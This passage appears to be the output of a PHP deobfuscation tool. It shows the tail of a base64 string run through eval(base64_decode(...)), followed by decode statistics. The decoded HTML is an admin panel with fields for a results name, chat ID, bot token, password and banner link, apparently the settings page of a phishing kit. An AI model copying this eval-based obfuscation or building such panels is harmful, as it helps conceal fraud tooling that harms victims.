24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNoYW5nZTMiIG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9J2RhdGEucGhwJyIgc3R5bGU9Im1heC13aWR0aDogMTAwJTtwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC04MCUsIDRweCk7Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtY2lyY2xlLXhtYXJrIiBzdHlsZT0icGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDtjb2xvcjogI2UyMjkxODsgZm9udC1zaXplOiAxNXB4Ij48L2k+IENhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtY29udGFpbmVyIiBpZD0iY2hhdFVwZGF0ZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld0NoYXQiIHJlcXVpcmVkIGNsYXNzPSJpbnB1dCIgcGxhY2Vob2xkZXI9IkVudGVyIE5ldyBDaGF0IElEIj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG5hbWU9ImNoYXRVcGRhdGUiIGNsYXNzPSJidG4tY2hhbmdlMSIgdHlwZT0ic3VibWl0IiBzdHlsZT0ibWF4LXdpZHRoOiAxMDAlO3Bvc2l0aW9uOiByZWxhdGl2ZTtsZWZ0OiA1MCU7dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTgwJSwgNHB4KTsiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11cGxvYWQiIHN0eWxlPSJiYWNrZ3JvdW5kOiByZ2IoNSwgMTc4LCAyMzEpOyBib3JkZXItcmFkaXVzOiA1MCU7IHBhZGRpbmc6IDVweDsgbWFyZ2luLXJpZ2h0OiA1cHg7IGNvbG9yOiAjMDAwOyBmb250LXNpemU6IDE1cHg7Ij48L2k+IFVQREFURTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jaGFuZ2UzIiBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSdkYXRhLnBocCciIHN0eWxlPSJtYXgtd2lkdGg6IDEwMCU7cG9zaXRpb246IHJlbGF0aXZlO2xlZnQ6IDUwJTt0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtODAlLCA0cHgpOyI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWNpcmNsZS14bWFyayIgc3R5bGU9InBhZGRpbmc6IDVweDsgbWFyZ2luLXJpZ2h0OiA1cHg7Y29sb3I6ICNlMjI5MTg7IGZvbnQtc2l6ZTogMTVweCI+PC9pPiBDYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtY29udGFpbmVyIiBpZD0iYm90VXBkYXRlIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3Qm90IiByZXF1aXJlZCBjbGFzcz0iaW5wdXQiIHBsYWNlaG9sZGVyPSJVbmRlciBNYWludGVuYW5jZSIgZGlzYWJsZWQ+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBuYW1lPSJib3RVcGRhdGUiIGNsYXNzPSJidG4tY2hhbmdlMSIgdHlwZT0ic3VibWl0IiBzdHlsZT0ibWF4LXdpZHRoOiAxMDAlO3Bvc2l0aW9uOiByZWxhdGl2ZTtsZWZ0OiA1MCU7dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTgwJSwgNHB4KTsiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11cGxvYWQiIHN0eWxlPSJiYWNrZ3JvdW5kOiByZ2IoNSwgMTc4LCAyMzEpOyBib3JkZXItcmFkaXVzOiA1MCU7IHBhZGRpbmc6IDVweDsgbWFyZ2luLXJpZ2h0OiA1cHg7IGNvbG9yOiAjMDAwOyBmb250LXNpemU6IDE1cHg7Ij48L2k+IFVQREFURTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jaGFuZ2UzIiBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSdkYXRhLnBocCciIHN0eWxlPSJtYXgtd2lkdGg6IDEwMCU7cG9zaXRpb246IHJlbGF0aXZlO2xlZnQ6IDUwJTt0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtODAlLCA0cHgpOyI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWNpcmNsZS14bWFyayIgc3R5bGU9InBhZGRpbmc6IDVweDsgbWFyZ2luLXJpZ2h0OiA1cHg7Y29sb3I6ICNlMjI5MTg7IGZvbnQtc2l6ZTogMTVweCI+PC9pPiBDYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtY29udGFpbmVyIiBpZD0icGFzc1VwZGF0ZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld1Bhc3MiIHJlcXVpcmVkIGNsYXNzPSJpbnB1dCIgcGxhY2Vob2xkZXI9IkN1cnJlbnRseSBVbmRlciBNYWludGVuYW5jZSIgZGlzYWJsZWQ+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBuYW1lPSJwYXNzVXBkYXRlIiBjbGFzcz0iYnRuLWNoYW5nZTEiIHR5cGU9InN1Ym1pdCIgc3R5bGU9Im1heC13aWR0aDogMTAwJTtwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC04MCUsIDRweCk7Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXBsb2FkIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiKDUsIDE3OCwgMjMxKTsgYm9yZGVyLXJhZGl1czogNTAlOyBwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4OyBjb2xvcjogIzAwMDsgZm9udC1zaXplOiAxNXB4OyI+PC9pPiBVUERBVEU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2hhbmdlMyIgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nZGF0YS5waHAnIiBzdHlsZT0ibWF4LXdpZHRoOiAxMDAlO3Bvc2l0aW9uOiByZWxhdGl2ZTtsZWZ0OiA1MCU7dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTgwJSwgNHB4KTsiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jaXJjbGUteG1hcmsiIHN0eWxlPSJwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4O2NvbG9yOiAjZTIyOTE4OyBmb250LXNpemU6IDE1cHgiPjwvaT4gQ2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1jb250YWluZXIiIGlkPSJiYW5uZXJVcGRhdGUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdCYW5uZXIiIHJlcXVpcmVkIGNsYXNzPSJpbnB1dCIgcGxhY2Vob2xkZXI9IlVuYXZhaWxhYmxlIiBkaXNhYmxlZD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG5hbWU9ImJhbm5lclVwZGF0ZSIgY2xhc3M9ImJ0bi1jaGFuZ2UxIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJtYXgtd2lkdGg6IDEwMCU7cG9zaXRpb246IHJlbGF0aXZlO2xlZnQ6IDUwJTt0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtODAlLCA0cHgpOyI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVwbG9hZCIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYig1LCAxNzgsIDIzMSk7IGJvcmRlci1yYWRpdXM6IDUwJTsgcGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDsgY29sb3I6ICMwMDA7IGZvbnQtc2l6ZTogMTVweDsiPjwvaT4gVVBEQVRFPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNoYW5nZTMiIG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9J2RhdGEucGhwJyIgc3R5bGU9Im1heC13aWR0aDogMTAwJTtwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC04MCUsIDRweCk7Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtY2lyY2xlLXhtYXJrIiBzdHlsZT0icGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDtjb2xvcjogI2UyMjkxODsgZm9udC1zaXplOiAxNXB4Ij48L2k+IENhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VibWl0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0bi1jaGFuZ2UiIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0idG9nZ2xlRGlzcGxheSgnZW1haWxVcGRhdGUnKSI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWluYm94IiBzdHlsZT0icGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDsgZm9udC1zaXplOiAxNXB4OyBjb2xvcjogIzAwMDsgYmFja2dyb3VuZDogcmdiKDUsIDE3OCwgMjMxKTsgYm9yZGVyLXJhZGl1czogNTAlOyI+PC9pPiBVcGRhdGUgRW1haWw8L2J1dHRvbj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4tY2hhbmdlIiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRvZ2dsZURpc3BsYXkoJ25hbWVVcGRhdGUnKSI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWluYm94IiBzdHlsZT0icGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDsgZm9udC1zaXplOiAxNXB4OyBjb2xvcjogIzAwMDsgYmFja2dyb3VuZDogcmdiKDUsIDE3OCwgMjMxKTsgYm9yZGVyLXJhZGl1czogNTAlOyI+PC9pPiBVcGRhdGUgUmVzdWx0cyBOYW1lPC9idXR0b24+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuLWNoYW5nZSIgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJ0b2dnbGVEaXNwbGF5KCdjaGF0VXBkYXRlJykiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1pbmJveCIgc3R5bGU9InBhZGRpbmc6IDVweDsgbWFyZ2luLXJpZ2h0OiA1cHg7IGZvbnQtc2l6ZTogMTVweDsgY29sb3I6ICMwMDA7IGJhY2tncm91bmQ6IHJnYig1LCAxNzgsIDIzMSk7IGJvcmRlci1yYWRpdXM6IDUwJTsiPjwvaT4gVXBkYXRlIENoYXQgSUQ8L2J1dHRvbj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4tY2hhbmdlIiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRvZ2dsZURpc3BsYXkoJ2JvdFVwZGF0ZScpIj48aSBjbGFzcz0iZmEtc29saWQgZmEtaW5ib3giIHN0eWxlPSJwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjMDAwOyBiYWNrZ3JvdW5kOiByZ2IoNSwgMTc4LCAyMzEpOyBib3JkZXItcmFkaXVzOiA1MCU7Ij48L2k+IFVwZGF0ZSBCb3QgVG9rZW48L2J1dHRvbj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4tY2hhbmdlIiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRvZ2dsZURpc3BsYXkoJ2Jhbm5lclVwZGF0ZScpIj48aSBjbGFzcz0iZmEtc29saWQgZmEtaW5ib3giIHN0eWxlPSJwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjMDAwOyBiYWNrZ3JvdW5kOiByZ2IoNSwgMTc4LCAyMzEpOyBib3JkZXItcmFkaXVzOiA1MCU7Ij48L2k+IFVwZGF0ZSBCYW5uZXIgTGluazwvYnV0dG9uPjxicj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPHNjcmlwdD4NCiAgICAgICAgZnVuY3Rpb24gdG9nZ2xlRGlzcGxheShpZCkgew0KICAgICAgICAgICAgdmFyIHVwZGF0ZVNlY3Rpb25zID0gWydlbWFpbFVwZGF0ZScsICduYW1lVXBkYXRlJywgJ3NlbmRlclVwZGF0ZScsICdjaGF0VXBkYXRlJywgJ2JvdFVwZGF0ZScsICdwYXNzVXBkYXRlJywgJ2Jhbm5lclVwZGF0ZSddOw0KICAgICAgICAgICAgdXBkYXRlU2VjdGlvbnMuZm9yRWFjaChmdW5jdGlvbihzZWN0aW9uKSB7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoc2VjdGlvbikuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQo8L2JvZHk+DQoNCjwvaHRtbD4NCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 46941324e16a1490428e48183edf296d
Eval Count 1
Decode Time 56 ms